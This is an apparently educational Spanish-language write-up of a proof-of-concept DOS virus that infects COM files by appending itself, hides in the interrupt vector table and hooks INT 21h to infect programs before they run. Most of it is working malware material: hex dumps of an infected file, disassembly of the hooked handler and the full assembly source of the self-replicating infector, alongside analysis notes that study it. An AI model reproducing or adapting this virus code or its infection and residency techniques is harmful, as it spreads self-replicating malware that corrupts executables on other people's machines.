Prueba de concepto de virus en la plataforma x86/DOS con estrategia de infección por postpending (adición posterior) en archivos COM. El virus permanece residente en memoria convencional ocultándose en un hueco de la IVT. Intercepta los servicios I/O de DOS para infectar archivos antes de ser ejecutados.

Método de infección

Durante la infección, el virus reemplaza los primeros bytes del archivo huésped (cabezal original) con una instrucción JMP (cabezal viral) que dirige el flujo de ejecución hacia el final del archivo donde se añade el cuerpo viral. El cabezal original reemplazado es guardado en el cuerpo viral.

Cuando un archivo infectado es ejecutado, el virus se carga en memoria junto con este y se ejecuta primero realizando sus propias acciones, al terminar restaura el cabezal original en el offset CS:0100 (dirección de memoria donde se cargan los archivos COM en DOS) y salta hacia dicho offset para permitirle al huésped su ejecución normal. Esto último dificulta la detección por parte del usuario.

El cabezal viral contiene además una firma, el byte 'V', utilizada para reconocimiento de archivos ya infectados.

La primer generación del virus es diferente a las siguientes. La primera no tiene cabezal viral, ya que no está adherida a un huésped. Las siguientes generaciones al estar adheridas a un huésped se diferencian por tener cabezal y cuerpo viral.

Como resultado de la infección:

  • Los archivos infectados ocuparán más espacio al contener el código viral. Con técnicas de stealth esta información se puede ocultar del usuario para dificultar su detección.
  • Los archivos infectados tendrán un tiempo de ejecución mayor al incluir la pre ejecución del virus.

Residencia en memoria

El virus permanece residente en el rango de memoria convencional (por debajo de 640KB - segmento A000) ocultándose (solo su código viral) en la segunda mitad de la IVT (Interrupt Vector Table), comenzando desde 0000:0200, la cual no es normalmente utilizada. El virus asume que esta zona de la IVT está libre, en caso contrario el sistema puede tener problemas y colgarse. Durante la infección, el virus reconoce si ya se encuentra residente comparando contra los 10 primeros bytes en 0000:0200.

Método de propagación

El virus modifica el handler original de la interrupción 21h cambiando el vector del handler en la IVT (Interrupt Vector Table) para interceptar las llamadas a los servicios I/O de DOS. Al detectar ejecuciones de archivos en el sistema, estos son infectados antes de que se ejecuten.

Otros detalles

  • Se utiliza una técnica básica para calcular el $\Delta$ offset, este es el posicionamiento relativo del virus en el archivo infectado. Esta técnica es detectada por cualquier anti-virus decente.
  • El virus no verifica que el tamaño del archivo COM sea adecuado para la infección. Si luego de la infección el tamaño total supera los 64KB, ya no es un archivo COM válido.

Flujo de ejecución

Al ejecutarse un archivo infectado, el virus se hace residente en memoria y modifica la IVT:

Cuando el virus ya es residente en memoria, intercepta todas las llamadas a la interrupción 21h:

Análisis estático

Hex dump de un archivo sano de tamaño 80 bytes:

Offset  00 01 02 03 04 05 06 07  ANSI
0x0000  B4 09 BA 39 01 CD 21 90  ´.º9.Í!.
0x0008  90 90 90 90 90 90 90 90  ........
0x0010  90 90 90 90 90 90 90 90  ........
0x0018  90 90 90 90 90 90 90 90  ........
0x0020  90 90 90 90 90 90 90 90  ........
0x0028  90 90 90 90 90 90 90 90  ........
0x0030  90 90 90 90 90 B4 00 CD  .....´.Í
0x0038  21 54 68 69 73 20 69 73  !This is
0x0040  20 61 20 68 6F 73 74 20   a host 
0x0048  66 69 6C 65 21 0D 0A 24  file!..$

Hex dump del archivo infectado:

Offset  00 01 02 03 04 05 06 07  ANSI
0x0000  E9 4D 00 56 01 CD 21 90  éM.V.Í!.  Cabezal viral
0x0008  90 90 90 90 90 90 90 90  ........
0x0010  90 90 90 90 90 90 90 90  ........
0x0018  90 90 90 90 90 90 90 90  ........
0x0020  90 90 90 90 90 90 90 90  ........
0x0028  90 90 90 90 90 90 90 90  ........
0x0030  90 90 90 90 90 B4 00 CD  .....´.Í
0x0038  21 54 68 69 73 20 69 73  !This is
0x0040  20 61 20 68 6F 73 74 20   a host 
0x0048  66 69 6C 65 21 0D 0A 24  file!..$
0x0050  E8 00 00 5D 81 ED 0B 01  è..].í..  Cuerpo viral
0x0058  8D B6 08 01 33 C0 8E C0  .¶..3ÀŽÀ
0x0060  BF 00 02 B9 0A 00 F3 A6  ¿..¹..ó¦
0x0068  74 2F B4 35 B0 21 CD 21  t/´5°!Í!
0x0070  3E 89 9E FF 01 3E 8C 86  >‰žÿ.>Œ†
0x0078  01 02 B4 25 B0 21 33 DB  ..´%°!3Û
0x0080  8E DB BA 5C 02 CD 21 0E  ŽÛº\.Í!.
0x0088  1F 8D B6 08 01 33 C0 8E  ..¶..3ÀŽ
0x0090  C0 BF 00 02 B9 FF 00 F3  À¿..¹ÿ.ó
0x0098  A4 1E 07 B9 04 00 8D B6  ¤..¹...¶
0x00A0  03 02 BF 00 01 F3 A4 B8  ..¿..ó¤¸
0x00A8  00 01 FF E0 3D 00 4B 74  ..ÿà=.Kt
0x00B0  03 E9 92 00 9C 50 53 51  .é’.œPSQ
0x00B8  52 56 1E 8B F2 AC 0A C0  RV.‹ò¬.À
0x00C0  74 13 3C 2E 75 F7 AC 3C  t.<.u÷¬<
0x00C8  43 75 0A AC 3C 4F 75 05  Cu.¬<Ou.
0x00D0  AC 3C 4D 74 02 EB 64 B4  ¬<Mt.ëd´
0x00D8  3D B0 02 CD 21 72 60 93  =°.Í!r`“
0x00E0  B4 3F 33 C9 8E D9 BA FB  ´?3ÉŽÙºû
0x00E8  02 B9 04 00 CD 21 72 4B  .¹..Í!rK
0x00F0  80 3E FE 02 56 74 44 B4  €>þ.VtD´
0x00F8  42 B0 02 33 C9 33 D2 CD  B°.3É3ÒÍ
0x0100  21 72 38 A3 FF 02 B4 40  !r8£ÿ.´@
0x0108  B9 FF 00 BA 00 02 CD 21  ¹ÿ.º..Í!
0x0110  72 29 A1 FF 02 2D 03 00  r)¡ÿ.-..
0x0118  C6 06 01 03 E9 A3 02 03  Æ...é£..
0x0120  C6 06 04 03 56 B4 42 B0  Æ...V´B°
0x0128  00 33 C9 33 D2 CD 21 72  .3É3ÒÍ!r
0x0130  0A B4 40 B9 04 00 BA 01  .´@¹..º.
0x0138  03 CD 21 B4 3E CD 21 1F  .Í!´>Í!.
0x0140  5E 5A 59 5B 58 9D EA A0  ^ZY[X.ê 
0x0148  14 00 F0 B4 09 BA 39     ..ð´.º9   Cabezal original

Análisis dinámico

Se considera un archivo infectado VTEST.COM en un ambiente MS-DOS 6.22, Microsoft Virtual PC 6.0 con VM Additions.

Uso de memoria

Antes de la infección
Resultado de MEM /C:

Name           Total       =   Conventional   +   Upper Memory
  --------  ----------------   ----------------   ----------------
  MSDOS       16,157   (16K)     16,157   (16K)          0    (0K)
  SETVER         480    (0K)        480    (0K)          0    (0K)
  HIMEM        1,120    (1K)      1,120    (1K)          0    (0K)
  DISPLAY      8,304    (8K)      8,304    (8K)          0    (0K)
  CDROM        4,224    (4K)      4,224    (4K)          0    (0K)
  COMMAND      2,928    (3K)      2,928    (3K)          0    (0K)
  SMARTDRV    29,024   (28K)     29,024   (28K)          0    (0K)
  KEYB         6,944    (7K)      6,944    (7K)          0    (0K)
  FSHARE      26,576   (26K)     26,576   (26K)          0    (0K)
  IDLE           528    (1K)        528    (1K)          0    (0K)
  MSCDEX      32,096   (31K)     32,096   (31K)          0    (0K)
  MOUSE        8,880    (9K)      8,880    (9K)          0    (0K)
  Free       516,976  (505K)    516,976  (505K)          0    (0K)

Memory Summary:
  Type of Memory       Total   =    Used    +    Free
  ----------------  ----------   ----------   ----------
  Conventional         654,336      137,360      516,976
  Upper                      0            0            0
  Reserved                   0            0            0
  Extended (XMS)    15,663,104    2,162,688   13,500,416
  ----------------  ----------   ----------   ----------
  Total memory      16,317,440    2,300,048   14,017,392
  Total under 1 MB     654,336      137,360      516,976

Después de la infección
Resultado de MEM /C:

Name           Total       =   Conventional   +   Upper Memory
  --------  ----------------   ----------------   ----------------
  MSDOS       16,157   (16K)     16,157   (16K)          0    (0K)
  SETVER         480    (0K)        480    (0K)          0    (0K)
  HIMEM        1,120    (1K)      1,120    (1K)          0    (0K)
  DISPLAY      8,304    (8K)      8,304    (8K)          0    (0K)
  CDROM        4,224    (4K)      4,224    (4K)          0    (0K)
  COMMAND      2,928    (3K)      2,928    (3K)          0    (0K)
  SMARTDRV    29,024   (28K)     29,024   (28K)          0    (0K)
  KEYB         6,944    (7K)      6,944    (7K)          0    (0K)
  FSHARE      26,576   (26K)     26,576   (26K)          0    (0K)
  IDLE           528    (1K)        528    (1K)          0    (0K)
  MSCDEX      32,096   (31K)     32,096   (31K)          0    (0K)
  MOUSE        8,880    (9K)      8,880    (9K)          0    (0K)
  Free       516,976  (505K)    516,976  (505K)          0    (0K)

Memory Summary:
  Type of Memory       Total   =    Used    +    Free
  ----------------  ----------   ----------   ----------
  Conventional         654,336      137,360      516,976
  Upper                      0            0            0
  Reserved                   0            0            0
  Extended (XMS)    15,663,104    2,162,688   13,500,416
  ----------------  ----------   ----------   ----------
  Total memory      16,317,440    2,300,048   14,017,392
  Total under 1 MB     654,336      137,360      516,976

No hay ningún cambio en el reporte. La presencia del virus no es evidente.

Handler de 21h

La IVT ocupa los primeros 1024 bytes de memoria RAM, segmento 0000.
El vector de la interrupción 21h es la dirección de memoria del handler en forma de 4 bytes segmento:offset, este se encuentra en el offset 84h de la IVT.

Antes de la infección
Hex dump de los 4 bytes del vector 21h:

-D 0000:0084 L4                                  
0000:0080              E1 20 04 11

El handler original de 21h se encuentra en 1104:20E1.

Después de la infección
Hex dump de los 4 bytes del vector 21h:

-D 0000:0084 L4
0000:0080              5C 02 00 00

El vector ya no es el mismo.

Desensamblado del handler referenciado por el nuevo vector:

-U 0000:025C
0000:025C 3D004B       CMP  AX,4B00          ; inicio del handler viral
0000:025F 7403         JZ 0264                               
0000:0261 E99200       JMP  02F6                               
0000:0264 9C           PUSHF                                     
0000:0265 50           PUSH AX                                 
0000:0266 53           PUSH BX                                 
0000:0267 51           PUSH CX                                 
0000:0268 52           PUSH DX                                 
0000:0269 56           PUSH SI                                 
0000:026A 1E           PUSH DS                                 
0000:026B 8BF2         MOV  SI,DX                              
0000:026D AC           LODSB                                     
0000:026E 0AC0         OR AL,AL                              
0000:0270 7413         JZ 0285                               
0000:0272 3C2E         CMP  AL,2E                              
0000:0274 75F7         JNZ  026D                               
0000:0276 AC           LODSB                                     
0000:0277 3C43         CMP  AL,43                              
0000:0279 750A         JNZ  0285                               
0000:027B AC           LODSB                                     

API utilizada

Se utilizan 8 servicios de la DOS API mediante la interrupción de software 21h.

Servicio AH Parámetros Retorno Versión DOS
Terminar programa 00h - - 1+
Establecer vector en IVT 25h AL = número de interrupción DS:DX = puntero al nuevo handler de la interrupción 2+
Obtener vector de IVT 35h AL = número de interrupción ES:BX = puntero al handler de la interrupción 2+
Abrir archivo existente 3Dh AL = modos de acceso e intercambio
DS:DX -> nombre del archivo (ASCIZ)
Éxito: CF = 0, AX = handle del archivo
Error: CF = 1, AX = código de error
2+
Cerrar archivo 3Eh BX = handle del archivo Éxito: CF = 0, AX destruido
Error: CF = 1, AX = código de error
2+
Lectura de archivo
o dispositivo
3Fh BX = handle del archivo
CX = nro. de bytes
DS:DX -> offset donde guardar datos
Éxito: CF = 0, AX = nro. de bytes transferidos
Error: CF = 1, AX = código de error
2+
Escribir en archivo
o dispositivo
40h BX = handle del archivo
CX = nro. de bytes
DS:DX -> datos a escribir
Éxito: CF = 0, AX = nro. de bytes escritos
Error: CF = 1, AX = código de error
2+
Establecer puntero de archivo 42h AL = código de desplazamiento
BX = handle del archivo
CX = mitad mayor de desplazamiento
DX = mitad menor de desplazamiento
Éxito: CF = 0, CX = mitad mayor, DX = mitad menor
Error: CF = 1, AX = código de error
2+

Código fuente

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
;##############################################################################  
;# Nombre:        virus://DOS/SillyCR.263  
;# Plataforma:    Intel x86  
;# SO:            DOS v2.0+  
;# Lenguaje:      ASM x86-16 (sintaxis Intel)  
;# Herramientas:  TASM v4.1, TLINK v7.1.30  
;# Tipo:          Postpending, Resident, COM infector  
;# Tamaño:        263 bytes  
;# Propagación:   En archivos COM antes de ser ejecutados (INT 21h - AH=4B).  
;# Infección:     Postpending en archivos COM (no READ-ONLY).  
;# Residente:     Si. Dentro de la memoria convencional (0-640KB), en la IVT.  
;# Stealth:       No  
;# Payload:       No  
;##############################################################################

.8086  
.model tiny

assume cs:virus, ds:virus

V_OFFSET equ 200h - 100h - 8                         ; offset base para direccionamiento viral en IVT 

virus segment byte public 'CODE'

    org 100h

start:     
    jmp short body                                   ; cabezal, en las siguientes generaciones aquí  
    nop                                              ; habrá un near JMP de 3 bytes  
    db 'V'                                           ; firma viral

    mov ah, 00h                                      ; / huésped dummy, solo retorna a DOS  
    int 21h                                          ; \

body:    
    call d_offset                                    ; calcular delta offset  
                   
d_offset:    
    pop bp  
    sub bp, offset d_offset 

    lea si, [bp + body]                              ; origen: inicio del código viral en archivo  
    xor ax, ax  
    mov es, ax                                       ; ES = 0  
    mov di, 200h                                     ; destino: inicio del código viral en IVT  
    mov cx, 10                                       ; considerar 10 bytes  
    repe cmpsb                                       ; comparar origen y destino para reconocer el virus en memoria

    je run_host                                      ; si no está en memoria, ejecutar huésped

    mov ah, 35h                                      ; | AH = 35h  
    mov al, 21h                                      ; | AL = número de interrupción, 21h  
    int 21h                                          ; |_DOS API - Obtener vector en ES:BX

    mov [bp + vector_int21], bx                      ; guardar vector original de INT 21h  
    mov [bp + vector_int21 + 2], es

    mov ah, 25h                                      ; | AH = 25h  
    mov al, 21h                                      ; | AL = número de interrupción, 21h  
    xor bx, bx                                       ; |  
    mov ds, bx                                       ; | DS = 0  
    mov dx, V_OFFSET + offset handler_int21h         ; | DS:DX -> dirección del nuevo handler: handler_int21h  
    int 21h                                          ; |_DOS API - Cambiar vector

    push cs  
    pop ds                                           ; restaurar DS 

    lea si, [bp + body]                              ; origen: inicio del código viral en archivo  
    xor ax, ax  
    mov es, ax                                       ; ES = 0  
    mov di, 200h                                     ; destino: inicio del código viral en IVT  
    mov cx, VIRUS_SIZE                               ; tamaño del virus  
    rep movsb                                        ; copiar virus de origen a destino

run_host:     
    push ds  
    pop es                                           ; restaurar ES

    mov cx, 4  
    lea si, [bp + host_head]  
    mov di, 100h  
    rep movsb                                        ; restaurar cabezal original

    mov ax, 100h  
    jmp ax                                           ; saltar a CS:100 y ejecutar huésped 

handler_int21h:     
    cmp ax, 4B00h                                    ; llamada para ejecutar archivo:  
    je infect_file                                   ; infectar y delegar  
    jmp handler_old                                  ; en otro caso, delegar al handler original de INT 21h 

infect_file:     
    pushf                                            ; guardar estado CPU  
    push ax                                          ; guardar registros que serán utilizados  
    push bx  
    push cx  
    push dx  
    push si  
    push ds  
                                                     ; por la llamada AX=4B00h, DS:DX apunta al nombre del archivo  
    mov si, dx                                       ; verificar que sea extensión ".COM"  
      
loop_str:     
    lodsb  
    or al, al  
    jz check_fail  
    cmp al, '.'
    jne loop_str  
    lodsb  
    cmp al, 'C'
    jne check_fail  
    lodsb  
    cmp al, 'O'  
    jne check_fail  
    lodsb  
    cmp al, 'M' 
    je check_ok

check_fail:     
    jmp close_file

check_ok:     
    mov ah, 3Dh                                      ; | AH = 3Dh  
    mov al, 2                                        ; | AL = 2, lectura y escritura  
    int 21h                                          ; |_DOS API - Abrir archivo existente 

    jc exit                                          ; si no se puede abrir archivo, restaurar y delegar  
    xchg ax, bx                                      ; handle de archivo en BX

    mov ah, 3Fh                                      ; | AH = 3Fh  
    xor cx, cx                                       ; |  
    mov ds, cx                                       ; | DS = 0  
    mov dx, V_OFFSET + offset host_head              ; | DS:DX -> destino: buffer para cabezal original  
    mov cx, 4                                        ; | CX = tamaño del cabezal, 4 bytes  
    int 21h                                          ; |_DOS API - Leer de archivo/dispositivo

    jc close_file                                    ; no se puede leer el archivo, cerrarlo

    cmp byte ptr ds:[V_OFFSET + host_head + 3], 'V'  ; comparar 4to byte con la firma viral 'V'  
    je close_file                                    ; si el archivo ya esta marcado, cerrarlo

    mov ah, 42h                                      ;| AH = 42h  
    mov al, 2                                        ;| AL = 2, fin del archivo  
    xor cx, cx                                       ;| CX = 0  
    xor dx, dx                                       ;| DX = 0  
    int 21h                                          ;|_DOS API - Establecer puntero en archivo 

    jc close_file                                    ; no se puede trabajar con el archivo, cerrarlo  
    mov ds:[V_OFFSET + file_size], ax

    mov ah, 40h                                      ; | AH = 40h  
    mov cx, VIRUS_SIZE                               ; | CX = tamaño del virus  
    mov dx, 200h                                     ; | DS:DX -> origen: inicio del código viral en IVT  
    int 21h                                          ; |_DOS API - Escribir en archivo/dispositivo 

    jc close_file                                    ; no se puede trabajar con el archivo, cerrarlo

    mov ax, ds:[V_OFFSET + file_size]                ; calcular el largo del JMP para el cabezal viral  
    sub ax, 3                                        ; restarle 3 bytes del near JMP  
    mov byte ptr ds:[V_OFFSET + tmp_head], 0E9h      ; construir cabezal viral en buffer temporal (E9h = near JMP)  
    mov word ptr ds:[V_OFFSET + tmp_head + 1], ax  
    mov byte ptr ds:[V_OFFSET + tmp_head + 3], 'V' 

    mov ah, 42h                                      ; | AH = 42h  
    mov al, 0                                        ; | AL = 0, principio del archivo  
    xor cx, cx                                       ; | CX = 0  
    xor dx, dx                                       ; | DX = 0  
    int 21h                                          ; |_DOS API - Establecer puntero en archivo 

    jc close_file                                    ; no se puede trabajar con el archivo, cerrarlo

    mov ah, 40h                                      ; | AH = 40h  
    mov cx, 4                                        ; | CX = tamaño del cabezal, 4 bytes  
    mov dx, V_OFFSET + offset tmp_head               ; | DS:DX -> origen: buffer temporal para cabezal viral  
    int 21h                                          ; |_DOS API - Escribir en archivo/dispositivo 

close_file:     
    mov ah, 3Eh                                      ; | AH = 3Eh  
    int 21h                                          ; |_DOS API - Cerrar archivo 

exit:     
    pop ds                                           ; restaurar registros y estado CPU  
    pop si  
    pop dx  
    pop cx  
    pop bx  
    pop ax  
    popf

handler_old:     
    db 0EAh                                          ; JMP FAR  
    
vector_int21    dw   ?, ?                            ; vector original de INT 21h (4 bytes)
host_head       db   90h, 90h, 90h, 90h              ; buffer para cabezal original  
VIRUS_SIZE      equ  ($ - body)                      ; tamaño del virus  
file_size       dw   ?                               ; buffer temporal para tamaño del huésped  
tmp_head        db   4 dup (?)                       ; buffer temporal para cabezal viral

virus ends  
end start  

Bibliografía

  1. Szor, P. (2005). The Art of Computer Virus Research and Defense (2nd ed.). Addison-Wesley Professional.
  2. Williams, D. (1992). Programmer’s Technical Reference for MSDOS and the IBM PC.
  3. Phalcon-Skism. 40-Hex.